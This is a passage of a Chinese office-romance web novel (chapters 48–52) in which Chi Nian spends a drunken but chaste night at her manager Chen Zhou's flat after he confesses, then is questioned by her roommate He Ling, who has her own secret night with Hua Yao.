浅尝辄止的吻被硬生生打断,陈昼直起身,眼底幽幽,“原来你出来不是找我。” 再次回到包房时,气氛明显不对劲。 叶珍珠看到她红着脸回来,半路拦截把她拉到自己旁边坐下,暗戳戳地看了眼旁边先一步回来的陈昼,语气暧昧:“你们都谈这么多年了,亲个嘴脸不至于红成这样吧?” 迟念无助地捧两颊,掌心灼烧,隐隐有扩散的趋势。 哪有谈很多年,明明刚开始! 她热得快死了,急需降温,看了眼周围,只有叶珍珠手边摆着一杯冰镇啤酒,她直接拿起,灌了大半进去。 叶珍珠阻拦失败,堂皇说:“这是我喝过的,你杯子呢?” 迟念充耳不闻,甚至觉得不解渴,把剩下的杯底也全喝进去了。 叶珍珠警铃大作,在桌下狠掐了一把她的大腿,“差不多得了,被小陈总看到了还以为我在灌你呢。” 迟念管不了那么多了。 “还有吗?再给我倒一杯吧。” 叶珍珠瞪眼,“你酒量什么时候变这么好了?” 她说这句话的声音有些大,引起旁边桌的注意,陈昼也投去视线,奈何想看的人被欢姐丰腴的身形遮挡。 娇娇坐在过道边缘,距离迟念不到一米,她瞥了一眼,不咸不淡地说,“可能心情不好吧。” 叶珍珠不高兴地回呛:“聚餐多开心,干吗心情不好。” 娇娇语气凉凉,“可能因为陈经理要走,她舍不得吧。” 陈昼挑了挑眉,缓缓站起身,没有众人的遮挡,他看到迟念几乎醉倒在叶珍珠怀里。 不能再喝了。 他瞬间恢复平时工作的冷峻,“谁说我要走?” 娇娇愣了一下,脱口而出:“活动已经结束了,这不理所当然的吗,大家都知道你要走。” “是吗?”他弯了弯唇,心情似乎极好,“周一上班开大会,拟定秋季活动方案,希望大家能够准时,迟到的扣全勤。” 空气突兀地安静几秒,甚至烤炉下的炭火也闪着最后两点红,吐出最后一股浅淡的白烟后,熄灭了。 娇娇的失望摆在脸上,说话更是不经大脑,“蛤?!为什么啊…” 话说到一半,被旁边的欢姐紧急截断,她捂住娇娇嘴的同时,露出违心的笑容,“那可真是太好了!” 周围愣住的同事们也一秒解封,纷纷拍手欢呼。 ——是,太好了,真的舍不得陈经理走。 ——对呀对呀,一想到下个季度的活动还由陈经理带领,我就激动得要死… …… 陈昼无心与他们说场面话,绕着椅子走出来,单手扶起迟念的胳膊,说:“念念醉了,我们就先走了。” 他稍稍用力,迟念摇摇晃晃站起来,软软地栽倒在他的身上。他改为搂着她的肩膀,突然看向韩主管,“单我已经买完了。” 韩主管正醉得魂游天外,听到这话忙不迭站起来,“哎呀,这…这怎么能行。” 买单已成定局,也不可能和小陈总因为这种事推搡,瞥到停在外面的车,两人都喝了酒,不能开,伸手指着角落一个闲聊的男生。 “欸,那谁,小吴,你没喝酒吧,正好开车把陈经理送回去,还能顺路回家。” 此时的小吴正和旁边的人约好等会儿组团打游戏,听到这句,顿时面如死灰,可心里再怎么不情愿,面上也不能表现出来。 他痛快地站起来,“好嘞,劳烦陈经理把钥匙给我。” 第49章 第四十九章 你的床垫很贵吧 小吴把车开到公寓楼下, 任务顺利完成,他瞥了眼后视镜。 迟念看起来已经不省人事了,好在旁边的小陈总看起来很清醒, 应该可以把女朋友扶上楼,不需要他在这碍眼。 所以非常干脆地离开了。 迟念今晚是有史以来喝最多的一次,她半躺在后座, 摇摇晃晃的好像在船里,就算后颈和腿弯被手臂揽起,也没能睁开眼睛。 身体短暂失重,世界陷入安静, 门锁打开的提示音后, 皮肤骤然一凉, 远航的小船终于平稳, 这样反倒晕了。 迟念哼哼两声, 难受地翻了个身,刚好把陈昼刚展开的被子搂进怀里。 同时,力竭的他也被这股力气带倒。 还是那张床, 醉酒的人却变成迟念,不过她可不像陈昼那样没有酒品, 只是老老实实地侧躺着,缓缓睁开眼。 四目相对, 空气里弥漫着浓重的麦芽味。 迟念很慢地眨眼,似乎在对焦,奈何酒精摄入超过临界点,不管她怎么努力,都看不清眼前人的脸。 既然看不清,那就摸一下。 她伸出手, 还没触到皮肤,手腕就被握住,然后自然被这股力气带走,原路返回,平放在身侧。 陈昼半直起身,公寓空调温度设置很低,虽然回家以后马上调高了,但得等一会儿才能升到她舒适的温度。 他轻轻拉过被角,盖到她肩膀。 “渴吗?”他问。 迟念摇头,这一摇不要紧,又眩晕了好几秒,她难受地哼了一声。 陈昼蹙眉,手下意识覆上她的额头,冰凉,潮汗,符合醉酒之后的身体反应,不渴不吐的话,睡一觉就好了。 他站在床边,调暗床头灯,又从柜子下面拿出一床备用夏凉被,准备去沙发睡。 还没出卧室,就听她拉长声调喊了一声陈昼。 他转身,见床上的人还是刚才的姿势,眼睛却直直地望向他,口齿不清地说:“我有好多话想问你。” 他却不动,声音很轻:“清醒之后再说。” 迟念暂时社畜附体,低声恳求:“清醒之后我就不敢了…”她整个晚上都云里雾里的,本以为恋情摆到台面上,一定闹得很不好看。 结果呢,好像真的谈了很多年似的,他更是欣然接受。 那他喜欢的女孩呢?还是…他喜欢的女孩就是她? 迟念是那种非得听到对方亲口说才信的人,见他还是没有过来的意思,声音变得急切:“你难道觉得我会像你一样喝醉之后乱亲人啊?” 陈昼本想放任不管,毕竟她看起来神志有些不清醒,就算说了,明天起来也不一定记得。 结果她提上次的事。 确实是自己理亏在先。 他把夏凉被放回原处,深吸一口气之后,走到床边坐下。 灯光昏黄,薄薄地照在她的脸上,和两颊的红混在一起,像一幅油画,给他一种不是真实存在的虚幻感。 待指尖触到不正常的燥热,他才惊觉,自己的手正覆在她的脸上。 迟念没有抗拒。 她沉浸在自己的心事里,闷闷地说:“你还没有表白。” 陈昼的手恋恋不舍地离开脸颊,伸进裤兜,取出那个准备已久的盒子。 迟念只觉得面熟,语气带着疑惑:“欸?这是…” 他唇角溢出一丝笑意,拿出手表,故意放慢速度,小心又轻柔地戴到她的手腕上,直视她的眼睛。 “现在可以叫你念念了吧。” 迟念接收到诚恳表白的信号,扬起手腕,在不甚明亮的灯光下打量,酒醉之后,连情绪都慢半拍。 “难道一直都是我?” “是。” “那为什么一直兜圈子啊?” 对此,他也很无奈,“我以为你很聪明。” 迟念蹙眉,为自己辩解,“因为我想做一个为上司分忧的好员工!” “你是好员工。”他给予肯定,却话锋一转:“其实是因为你先撒谎…” 说的人想得到真实的答案,听的人却在解决完自己的问题之后,马上被胀痛的小腹夺去大部分注意力。 陈昼说完,静等她回答。迟念却笨拙地撑起上半身,环顾四周,略带羞赧地说:“我想去一下洗手间。” “……” 算了。 陈昼伸手过去扶她,却被义正词严地拒绝了。 “不!我没喝多。” 这是喝醉之人必说的话,只要说了这话,就表示…真的醉了。 陈昼见她拒绝护送,只好告诉她洗手间方位,目送她的背影,直到洗手间的灯亮起,他才放心。 等迟念回来时,他已经躺在沙发上。 迟念虽然在心里反复告诉自己恋情从谣言变成事实,但是骨子里还是不能摆脱社畜本质,她的醉眼看到的不是男朋友躺沙发,而是上司。 脚步犹疑着,不肯往卧室走,到底转了个弯,“还是我睡沙发吧。” 陈昼这几天极累,体力用在游走饭局,精力用在应付合作伙伴,唯一的心事也在今晚圆满解决,身心同时放松,疲惫排山倒海涌来。 他半阖着眼,嗓音有些哑,“回去睡。” “不太好吧…”她脚步踉跄。 “回卧室。” “你害怕吗?” 陈昼一听这话,马上睁开眼,刚好看到迟念站在沙发边,双臂交叉护在胸前,谨慎地打量室内的装修。 她说的害怕和陈昼以为的害怕完全两码事。 迟念和何伶租的房子是一居室,碎花墙纸,布艺软装,屋子里放满了她们在商场里抓到的布娃娃。 一进屋,就被浓郁的少女心包裹。 而这里,是完全相反的冷色调。 目之所及,没有一件多余的物品。灰色系家电,黑色沙发,就连窗帘也是彻底遮光的,拉上之后,房间和外界隔绝,像远离地球的孤岛。 不怕才怪呢。 可是,这话到了陈昼耳朵里,却成了毫无攻击力的挑衅。 他利落地从沙发上起来,一只手拿着被子,另一只手牵着她,径直走向卧室。 迟念全程钝钝的,直到躺在床上,眼前是一张放大的脸,才后知后觉紧张。 陈昼似是知道她心中所想,随手帮她盖好被子的同时,闭着眼说:“安心睡,明天休息,不用早起。” 迟念“嗯”了一声。 顺从地闭上眼,空气竟然那么静,静到能听见对方的心跳声,敲锣一样咚咚的,甚至越来越快。 她鼓出一口气,慢慢吐掉。 结果发现,这心跳声是从自己身体里发出来的。 她缓缓睁开眼,意外地,撞到不知看了她多久的陈昼。 他没戴眼镜,完全卸去平日的冷峻,在这样近的距离下对视,迟念突然觉得,这张脸有些陌生。 她伸出手,指尖触到鼻梁,胆怯地,犹疑地,像个盲人,用触感临摹爱人的模样。 窗帘半开,冷白的月光从窗外照进来,这场景和两年前一样,心境却截然不同;当鼻梁传来痒意时,他闭上眼,赶走脑海里闪现的不愉快碎片。 迟念什么都不知道,胆子仗着醉酒变得很大。 她的指尖在眉间停住,似是赶路的人遇到交叉口,不知道往哪走,纠结时,视线下移,落在他的唇上。 “记得吗?上次你喝醉。” 他睁开眼,近乎沉迷地看着她,“记得,我很抱歉。” “不用道歉。”迟念说完,似乎下了某种决心,手坚定地捧着他的脸,微微抬起下巴,在距离他的唇仅剩两厘米的地方,被手指拦住。 他把她按在枕头上,像在哄小孩,“你喝多了,好好睡觉。” 迟念在酒精的作用下,毫无羞耻之心,“不是已经谈四年了。” “嗯?”他故作迷茫,“谁说的?” 她蹙眉,手握虚拳捅了一下他的肩膀,“你啊。” 陈昼没有说话,他掀起被子,手自然地搂住她的腰,稍稍用力,把人拢进怀里,真像一对谈了四年的情侣。 他下巴垫在她的发顶,手在她的腰侧缓缓摩擦。 迟念早就困了。 她含混呓语:“好舒服啊。” 陈昼吻了下她的后颈,听到她陷入昏睡之前说出的后半句:“你的床好舒服啊,床垫应该很贵吧。” 第50章 第五十章 夜不归宿 迟念那么大胆的原因是, 她觉得自己喝了这么多,一定会像电视里演的那样,醒来之后什么都不记得。 当阳光穿过窗帘的缝隙, 迟念的意识慢慢清醒,头痛,胃不舒服, 但是脑海里的画面非常清晰。 救命!死脑子这种时候竟然这么好使。 细节非常确凿,同时迟念察觉到自己枕着的好像是一条胳膊,头顶也传来均匀呼吸的声,她紧张的不敢睁眼。 就这样硬装了半个小时的死, 枕着的胳膊突然动了一下, 紧跟着的是男人无意识的不适呻吟声。 她双眼紧闭, 翻了个身, 暗戳戳把枕头拉到颈下。 陈昼胳膊一空, 酥麻的咬人感比刚才更强烈,他皱着眉,反复握拳让血流畅通, 知觉终于稍微恢复。 他慢慢睁眼,女孩背对着他, 睡得很熟。 许是因为有她在,雷打不动六点半醒的他竟然睡到十二点, 他揉着手臂,小心翼翼地起床,顺便帮她把被子盖好。 迟念不敢动。 过了大约十分钟,隐约听到门外传来滋滋啦啦的声音,她慢慢睁开眼,现在头痛和胃痛已经无所谓了, 因为想去洗手间。 她坐起身,仔细听门外的声音,好像很远。 踮着脚走到门口,拉开一条缝,没看到人,稍微放了心。循着昨晚的记忆往洗手间方向走,结果正好撞到从里面出来的陈昼。 他穿着深色居家服,头发刚洗过,不,看样子应该刚洗完澡,面庞清爽,看起来精神非常不错。 迟念没有心理准备,直接愣在原地。 陈昼边走边用毛巾擦头发,慢半拍发现她,短暂意外后,径直走过来。 “睡得好吗?” “挺…挺好。”迟念觉得,酒劲应该还没过,不然脸颊怎么又开始上烧。 陈昼其实很抱歉。 他不管是工作还是人际交往,都自认滴水不漏,可是今早一睁眼,看到迟念是穿着衬衫西裤,顿时无比愧疚。 “去洗个澡,旁边的柜子里放了一套宽松的衣服,是我的,你穿可能有点大,拖鞋也是,先对付穿一会儿,吃完饭我们一起出去买。” 迟念接收这么长一串信息,脑子没反应过来就点头,“收到!” 他刚准备去厨房,听到这句,马上蹙眉。 “念念。” “嗯?” “我是你男朋友。” 迟念暂时不太习惯这个称呼,心境的转变需要时间,脑海里闪过几个暧昧片段后,她局促地点头,“嗯,我知道。” 她洗完澡,找到柜子里的衣服换上,是一件棉质短袖,虽然知道穿着会大,但是没想到竟然这么大。 衣摆几乎遮住大腿的一半了。 门口的拖鞋是灰色的,脚伸进去,大得像坐船,她尽量控制走路时不发出声音。 厨房在入户门右侧,半开放式,厨具一应俱全,看起来经常用。陈昼背对着她,正把一颗鸡蛋打进锅里,油烟机开着,轰隆隆的声响。 旁边锅里的水滚开了,他下了一把面条进去,一边盯着鸡蛋不要焦,一边用筷子搅动锅底。 迟念有些不自在,甚至产生一种两只手不该这么闲的心慌感,正好看到水池边放着一把空心菜,忙走过去。 “这个是要洗的吗?”她指了指。 陈昼听到声音,才发现她在,随手把锅盖上,说:“不是。” “哦…”她打量四周,“那需要洗碗吗?” “不需要。”他皱了下眉,指着旁边餐桌的椅子,“你去那坐。” 迟念见他突然严肃,赶紧走过去坐好。 五分钟后关火,陈昼把面条均匀盛到碗里,亲手端过来,放在迟念面前,顺便把筷子塞到她手里。 窗外烈日当空,室内温度微凉,陈昼把围裙解下挂在橱柜旁边,坐下时,看到迟念正在吸鼻子。 难道空调温度太低了? “冷?”他问。 迟念急忙摇头,“不冷,是闻到香味了,你厨艺真好!” 陈昼煞有其事地抬头,她真心夸奖的表情不像作假,可这只是一碗最普通的阳春面而已,他从没在这方面得到认可。 不得不承认,这感觉很陌生,也很好。 他弯起唇角。 “你昨晚喝了酒,胃不舒服,你那碗我多添了些汤,吃不完没关系,不要勉强。” 迟念低头看了眼碗里的量,“我能吃完。” 她用勺子舀了一点汤,吹凉之后喝进去,鲜香味美,细细品味后,觉得比外面打包回来的好吃多了。 “要不你教我做吧。”她吃完煎蛋之后,提议。 “好啊。”陈昼没多想,“为什么想学?” “以后想吃了可以自己做。” 陈昼挑面的动作顿住,刚还春风拂面的脸瞬间变成开会那样严肃,再一次强调:“你是我女朋友,想吃的时候我会给你做。” 迟念见他一本正经,迟钝地点了点头。 身份过渡也需要时间,从昨晚开始,她就被极大的不真实感包裹,就算戴上他视为表白信物的手表,还同床共枕了一夜,依旧恍恍惚惚。 她在心里反复告诉自己,这次没有自作多情,是暗恋成真,双向奔赴,水到渠成。 可一睁眼,看到这张和工作时截然相反的脸,还是打怵,甚至心底有个胆怯的声音在疑惑:这真的不是恶作剧吗? 心不在焉地吃完一碗面,刚放下筷子,碗就被收走,她忍住想帮他分担家务的冲动,坐在椅子上不动。 水声阵阵,陈昼背对着她,很快就洗好,整齐地摆放进橱柜里。 他动作娴熟,厨房这一片区域也收拾得整洁明亮,或许是个居家型?也可能是洁癖? 迟念后知后觉,自己对于他的了解,全都在工作方面,私下的陈昼是什么样的人,几乎一无所知。 她纠结了一会,还是没忍住问:“陈昼,你真的不走?” 陈昼刚把手擦干,倒了一壶温水过来,神色虽平静,说的话却直截了当,“听说我走了你很开心。” 迟念:“……” 因为陈昼当初调过来时,总部发了文件,白纸黑字写着只负责活动期,现在活动结束了,大家自然觉得他要走了。 作为员工,上司要走,当然开心。 可是作为女朋友就…有些复杂了,眼下来看,如果他走了,她就吃不到他亲手煮的面了。 “昨天喝醉了,不算数。” “是吗?”他垂眼,似是在仔细回忆,“喝醉了,就什么都不算数了吗?” 迟念电光石火之间想到一些暧昧碎片,急忙说:“不许回忆!你走了我当然不开心,而且你说了要留下。” “你猜我为什么留下。”他不紧不慢,甚至帮她倒了一杯水。 迟念眨了眨眼,虽然觉得厚脸皮,但还是说出来了。 “因为我?” 陈昼微笑着,点了点头。 他一直按照原定计划,活动结束之后就回总部,所以才会这么急切地,想在临走之前确定关系。 结果在一次线上会议遇到许维安,他非常激动,散会之后,竟主动联系他。 对于这位迟念的前男友,他没什么想沟通的欲望,却抵不过对方的热情,勉强打起精神听他说话。 ——陈总,您可能不记得我了,前几个月我去总部参加升职培训,在楼梯口,有幸和您见了一面。 陈昼敷衍地“嗯”了一声。 结果对面热情加倍。 ——当时您把助理交给我,让我带她去会议室,我也依照您的吩咐,培训那几天我一步不离,圆满地完成了您交代给我的任务。 陈昼蹙眉,把手机拉远。 “你们不是也在一起了吗。” 此话一出,对面惊得安静了三秒。 ——陈…陈总,您这是从哪听来的谣言?我入职那天就发誓,过去,现在,包括未来的五年,只拼事业,不考虑个人感情。 陈昼静默片刻。 对面急了。 ——我和迟念连普通朋友都不算!统共就相处三天,后来回分公司,偶尔联系,说的也全是和工作相关的。 所以才有了昨晚那句满含抱怨意味的——是你先撒了谎。 醉酒时没能说出口的话,清醒时更不会说。只是因为这个插曲,让他觉得,迟念思想单纯,涉世不深,自然经不住这种诱惑。 她豪掷金钱买喜欢的男人照片,把同事的帮助误认为喜欢,她的身体里,似乎有很多的爱可以挥霍。 可他相反。 他只有这一份,且来之不易,所以决定下半年继续留在这里。 迟念对此一概不知,她趿拉着鞋,在屋里转了一圈,走到卧室门口的时候,看到床头的手机忽然亮屏。 突然有种不好的预感。 身体十分抗拒地挪过去,半眯着眼,看到新消息一条一条地刷屏。 不用猜都知道,全都来自何伶。 【可伶可俐】:呵呵,夜不归宿。 【可伶可俐】:迟念,我看你是胆肥了,你最好别说昨晚加班一夜,我不会信的,因为你们公司的活动已经结束了。 【可伶可俐】:现在下午一点半,你还没有音讯。 【可伶可俐】:给你十分钟时间,如果还没联系我,我会把你昨晚没有回来住的事告诉你爸妈。 【可伶可俐】:好,还有三分钟[微笑]。 迟念欲哭无泪,昨晚虽然喝醉,但头脑是清楚的,怎么会忘了这茬。 她解开手机,飞快敲字。 【小迟】:伶子,昨晚公司聚餐,我不小心喝醉了,在同事家住的,刚睡醒。 【可伶可俐】:叶珍珠家吗? 【小迟】:对。 紧张地等待回复,结果何伶的电话打进来。 她吓得差点把手机扔出去。 接通,对面的声音很温柔,只有迟念知道,这不是好兆头。 “你说,在叶珍珠家睡的?” 她面不改色地撒谎:“嗯,你不会还要她听电话吧,真是不巧,她下楼遛猫了。” 何伶‘唔’了一声,慢悠悠说:“遛猫?亏你想得出来,我刚才和她通过电话了,她说你喝酒了,和小陈总一起回了爱巢。” 迟念的谎话被当场戳穿,什么都说不出来。 听筒传来的声音透着森森冷意。 “爱巢?迟念,你这次真的死了。” 完蛋了。 迟念没办法和她解释他们的关系,毕竟她也是昨晚刚知道,就算实话实说,何伶也不会相信的。 挂了电话,她一个头两个大。 陈昼换好衣服,来卧室这边找她,他对于家里没有女性用品的事非常在意,准备带她去商场购置。 结果看到迟念呆滞地盯着手机。 他蹙眉,“怎么了?” 迟念勉强挤出笑,略带抱歉地说:“我现在得马上回家一趟。” 50-55 第51章 第五十一章 “他在玩弄你!” 一路畅通无阻, 黑色奔驰停在小区门口。 迟念迅速解开安全带,指尖刚碰到车门开关,手臂就被拉住。 陈昼把装衣服的袋子递过去, 见她一脸急色,握住她的手不自觉加了些力道,低声问:“是出什么事了吗?” “没有, 没事。”迟念一脸轻松地摇了摇头。 她接过袋子,刚才约好了,明天穿这条裙子陪他参加婚宴,就是上次她误会他被恶意灌酒的那个人。 怪不得他当时会邀她来参加婚礼, 原来是陈昼的好朋友。 可仔细一想, 当时她和陈昼还是纯洁的上下级关系, 为什么他的朋友会邀请她参加婚礼呢?难道… 她隐约猜到某种可能, 却在触及真相的前一秒, 被男人满含担忧的声音打断,“不管什么棘手的问题,我都能帮你解决。” 迟念想到何伶那张审问的脸, 勉强挤出笑容,“不棘手。” 其实陈昼早就猜出, 应该又是她那位合租室友。 每次这边氛围正好的时候,她都会出现, 就算以电话的形式,迟念也会毫不犹豫地被她牵着走。 他对女孩之间的友情不是很了解,不过通过这段时间的接触,他对这位室友的印象不是很好。 因为意识到,就算他表白成功,成为迟念的男朋友, 她心里的排序,这位朋友还是在他前面的。 心情莫名不爽。 所以抓她更紧,似乎不想就这样放她走。 迟念的手臂隐隐作痛,甚至产生血液不流通的热胀感。 她扭动,企图挣脱,“我要下车了。” “嗯。”他应着,力道却丝毫不减。 “欸…松手呀。”她晃了晃手臂,再拖一会儿来不及了。何伶这个人她了解,说过的话板上订钉,要是回去晚了,她那堪比漏勺的嘴准会坏事。 迟念暂时不想让父母知道这件事。 陈昼也适时松开手,掸了掸因为刚才的动作皱掉的衬衫,恢复平日的冷静。 “明天早上八点,我来接你。” 她解脱一般搓了搓手臂,忙不迭打开车门,脚踩在马路上,她才隔着车窗回复:“好的,我会准时下楼!” * 温馨的一居室,窗户大开着,微凉的风吹进来,给本就低压的气氛添了几分冷意。 何伶抱着胳膊坐在沙发上,开锁声传来,她像弹簧一样窜过去,站在门口,摆出比刚才更臭的脸。 心虚的人不敢抬头,换完拖鞋后,像什么都没发生似的打哈哈:“吃饭了吗,我刚开工资,请你吃日料,怎么样?” 迟念干巴巴说完,只觉周围的空气都带着冰碴,做了一路的心理建设瞬间崩塌,她硬着头皮抬起头。 何伶哼了一声,冷冷地打量她。 许是这眼神暗含的深意太明显,迟念急忙解释:“事情不是你想的那样,我只是喝醉了,什么都没做。” 何伶一脸你觉得我会信吗的表情。 她叉起腰,嗓门极大:“我最近忙得没顾不上你,那小陈总不是有喜欢的女孩吗,到底怎么回事,问清楚了吗,怎么还去人家里过夜了?” 迟念就算没做亏心事,被这样一审也觉得没有底气。 她抬手,把碎发捋到耳后,超经意地展示手腕上的表。 “问了。” “嗯?怎么说。”何伶目光灼灼,压根没注意她的小心思。 “其实他喜欢的就是我啦。” “……” 空气死一般的静。 迟念觉得,这件事如果要从头解释的话,没有半小时下不来。而何伶作为她唯一的朋友,不信是正常的,毕竟关于陈昼,她接收到的负面信息居多。 千言万语汇成一句话,一句她自己都不怎么相信的话。 耳边传来细细的咬牙声。 手臂忽然剧痛,她疼得“啊”了一声,边搓痛点边控诉:“神经啊,你掐我干什么?” 何伶咬紧后槽牙:“你还好意思问,你最近是不是又在看?” “莫名其妙说什么…”迟念不想理她,捂着胳膊去卧室,何伶游魂一样,紧随其后。 “小说啊,你是不是又看小说上头了,清醒一点!那个小陈总都准备回去继承家业了,临走之前突然这样,就是为了睡你!” 迟念倏地停住。 她转身,用极其坦诚的眼神看着何伶。 “没睡。” 何伶气笑了,“骗鬼呢,我就算不了解你,我还不了解男人吗,更何况他有过前科,之前不是还亲过你。” 她越说越激动,“是不是故意灌醉的你?他有暴力倾向吗?戴没戴套?” 迟念长叹一口气,她早就知道会这样。 不得不再次重申:“真没做。” 现在她说的话何伶一个字都不信,严苛地打量一番,倏地拉起她的手腕,“你可能喝太多失忆了,衣服脱了我看看。” 迟念:“……” “都说没有了,松手,别抓坏我的表,很贵的。” 何伶油盐不进,“呵,我看你这酒还没醒…嗯?”她慢半拍反应过来,视线下移,固定在迟念的手腕上。 戴了五年的石英表不见了,取而代之的是一块全新的,黑色表带,蓝色表盘,周围一圈什么东西,bulingbuling的。 她猛地拉过来,只扫了一眼就看出…钻石? 他们的事何伶从头到尾都知道,从开始的误传照片,到将错就错演戏,还有近期的替身事件,以她的经验来看,那位小陈总肯定心怀不轨。 嘴上甜言蜜语,说我喜欢的就是你,随便买点什么东西打发一下,骗涉世未深的年轻女孩,睡完就走人。 不管是剧本里写的还是现实存在的,可太多这种人了。 何伶恨铁不成钢。 她拉着脸坐到床尾,指点这块表,“又不是付款之后直接给你,中间谁知道经历了什么,万一是没送出去,丢垃圾似的给你,你还当宝贝呢。” 两人认识这么多年,迟念了解何伶的脾气,现在正气头上呢,堪比人形火药桶,来点火星就能炸。 她决定心平气和解释这件事。 “他送我之后还表白了,从始至终喜欢的人就是我。” 何伶看着她沉浸不现实梦境中的脸,幽幽叹了一口气,“这你也信啊?” “信。” “没救了你!上次那个男人你忘了?我早就看出来人家对你没意思,你自己在这边剃头挑子一头热。” 往事不堪回首,迟念觉得胸口中了一箭。 几乎是恳求的语气:“…上次就别提了吧。” “行啊。”何伶挽起睡衣袖子,改为盘腿姿势,摆出准备说上三天三夜的架势,“那就只谈这次。” “他和你表白了,有说过未来吗?” “没有,昨晚才表白哎。”迟念就算当局者迷,也知道这个时候说未来有点早,毕竟那是相处一段时间之后的事。 啧,何伶就知道。 她惆怅地捏了捏眉心,“总之,你先别上头,昨晚睡就睡了,清醒的时候一定要理智,可别人家拍拍屁股走了,你倒上瘾离不开了。” 迟念:“……” 这话也太糙了点儿。 不是!这不重要,昨晚根本没睡啊!她是喝了酒,但是都记得,甚至自己厚着脸皮索吻都被他拒绝了。 “你别以己度人行不行?” “我怎么以己…”何伶高声反驳,说到一半戛然而止,这种事她好像没有资格说别人,心虚地眨了眨眼。 刚才还尖叫鸡一样的嗓音,瞬间变得温暾,她讪讪地接下后半句:“度人了…我是为你好,因为你太傻。” 迟念最烦别人质疑她的智商,差点炸毛,“你才傻!” 何伶再次扬声:“你不承认?我觉得这次你又要被骗,区区一块表就把你…”她话锋一转,指了下迟念的手腕,“摘下来给我戴一下。” 迟念翻了个白眼,却也老老实实把表摘下来递给她。 现在是一天中最热的时候,卧室窗帘还拉着,何伶小心地戴上手表,表盘边缘的钻石隐在暗色中,失去原本的光彩。 迟念走到窗边,把窗帘全部拉开。 刺眼的阳光洒进房间里,她一时睁不开眼,把手挡在额头上,转过身,慢慢适应。 何伶坐在床尾,视线虽被腕表吸引,却也没耽误敲打。 “他虽然表白了,但也要看接下来的态度,我是怕像我们之前说的那样,他拿你当平替,玩弄你感情,还有最重要的一点,近期不许去他家…” 迟念听着她的唠叨,视线慢慢聚焦,定格在淡粉色的被子上,被子的最中间,放着一只浅口薄袜。 这是她昨天上班着急,没找到另一只,随手扔到床上的。 为什么还在? 迟念的目光默默转到何伶的身上,她的手腕刚好在阳光下,表盘边缘的钻石折射出的光,全都倒映在墙壁上。 波光粼粼的梦幻光影,她却没看到,还在碎碎念。 “我说的你都记住了吗?” 迟念歪头看她,语气颇有些委屈:“你一直在说我,可是…”她指了指床上的袜子,“你昨晚也没回来啊。” 何伶愣住,虽只维持不到一秒,眼底却闪现出被说中的惊愕,这份惊愕也被迟念捕捉,她一步跨过来,揪住她的弱点。 “是吧,你没回来。” 身份猝不及防调转,何伶没反应过来,自以为面不改色,实际脸上明晃晃地刻着两个字——心虚。 “说什么呢,我在家。” “不对,不对。” 迟念恍然,她接到何伶信息时,酒还没完全醒,脑子慢,想得浅,自己昨晚夜不归宿,何伶应该半夜找人,而不是第二天中午。 她扯了扯嘴角,居高临下地审问:“你昨晚去哪了?” 何伶干笑一声,目光游离,“没去哪啊,在家,在沙发上。” “撒谎。” “真的!”她脱下手表,塞回给迟念,似是不想说这个话题,起身往门外走,结果被迟念一把拉住。 “你不说,我就去门卫调监控。” 何伶顿觉无力,“你闲的啊。” “是,这周双休。” “你别管我!” “那你也别管我啊,刚才干吗骂我那么久。” 迟念说完,手上用力,强硬地把何伶拉回卧室,按坐在床边,罕见地语重心长:“我是担心你,怕你遇到坏人。” 何伶知道,就像她也担心迟念遇到坏人一样。 可是,昨晚发生的事有些难以启齿,她觉得那不是爱情,可是身体却被吸引,不受控制地奔向他。 “我昨天…”她抬起头,直视迟念的眼,“去剧组试妆了。” 迟念本来心悬得老高,怕她像上次一样,遇到类似潜规则那种黑暗的事,也怕她挨欺负了不肯说,结果听到试妆这两个字。 其实迟念对这个剧组不抱希望了,还小心翼翼不敢当她面提关于这方面的事,眼下…还有机会? 她眼神一亮,“试了吗?怎么样?” 何伶耸了耸肩,故作无所谓,“女三。”! 迟念卡顿了几秒才反应过来,她捂着嘴,控制自己不要尖叫出声,“真的吗真的吗?定了?签合同了?” “嗯。”何伶指了指床头的文件夹,“签了。” 我天! 迟念激动到搓手。 “你太棒了伶子,换衣服,我请你吃饭,吃贵的!” 第52章 第五十二章 千古难题 何伶周末还要去剧组, 签了合同之后,未来的几个月需要全情投入,今天是和动作指导制定训练计划。 她下了地铁, 约定的地点是附近一个健身中心,这边她没怎么来过,出了站口之后, 点开手机查地图。 位置显示就在附近,可这边商铺密集,她转了一圈,愣是没找到门在哪。 没办法, 只能给武术指导打电话。号码还没拨出去, 手机就振铃, 她立刻蹙眉, 因为备注显示——贼。 不想接, 干脆地挂断扔回包里,结果身后传来车笛声。 她不情不愿地回头,看到花尧坐在蚂蚱绿的敞篷跑车里, 笑容灿烂地冲她招手。 健身中心的门在市场里面,花尧大步走在前。他今天是港式古惑仔风, 牛仔白t配黑色皮夹克,这么高的温度, 也不怕热死。 何伶翻了个白眼,刚巧赶上他回头,见她臭脸,也不生气,想到昨夜的热火,露出一抹餍足的笑。 何伶一看他的表情, 就知道他在想什么,气得瞪眼。 “你笑什么?” “因为幸福。”他故意把“幸”字咬得很重。 何伶不想理他,脚步加快,越过他推开窄门,本以为进去就是健身中心,没想到前面是长长的楼梯。 阴暗,狭窄,没有灯,空气弥漫着常年没有日照的霉味。 她捂着鼻子,脚步犹疑,谨慎地打量前方黑洞洞的拐角。 身后温热,男人的身体靠得很近,他微微低头,在她耳边吹气,“我忘记问你,昨晚满不满意。” 此话一出,何伶半边身子起了鸡皮疙瘩,她闪到一边,心烦地捂着被她弄痒的耳朵,没好气,“昨晚是我还你的,说好了两不相欠,你以后别贴我这么近。” 花尧听到划清界限的警告,无所谓地耸了耸肩,下巴一抬,示意道:“上去啊,都等你呢。” 市场嘈杂,这边更是人来人往,何伶不懂健身中心为什么设立在市场的二楼,还有个这么吓人的楼梯。 她其实很怕黑。 不过在他面前,就算怕,也不能表现出来。她咬着牙,向前一步,踩在污渍斑斑的大理石台阶上。 眼前一暗,身后的门关上了。 她不敢再动。 “把门打开。” 花尧悠闲地站在她身后,“怎么,害怕?” “我才不怕。” “不怕就往上走啊。” 楼梯没灯也没窗,关了门之后伸手不见五指,她没办法,手伸进包里找手机,准备开电筒走上去。 摸了半天也没找到,眼前突然白光一闪。 男人的手越过她的肩膀,旧手机的电筒开着,隐约能看到粉红色的塑胶壳,何伶一眼认出是自己用了两年的派大星… 脊背覆上一只手,带着不容置疑的力道,推着她向前走。 一路安静,只能听到两个人的呼吸声,何伶想挣脱,但是对黑暗的恐惧压下了所有不满。 终于走到转角。 她以为这里会有个门,推开之后,就是宽敞明亮的健身中心,结果没有,手机的光亮扫过一堵实墙。 前方,还是一条幽暗的楼梯。 何伶怒火中烧,“你故意的?” 